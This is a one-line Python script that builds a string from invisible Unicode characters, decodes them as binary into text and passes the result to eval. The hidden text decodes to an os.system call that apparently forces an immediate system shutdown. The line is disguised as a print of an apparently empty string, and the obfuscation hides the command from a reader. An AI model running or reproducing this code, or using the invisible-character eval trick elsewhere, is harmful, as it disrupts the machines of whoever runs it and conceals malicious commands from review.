print(eval(''.join(chr(int(x, 2)) for x in ' 󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split())))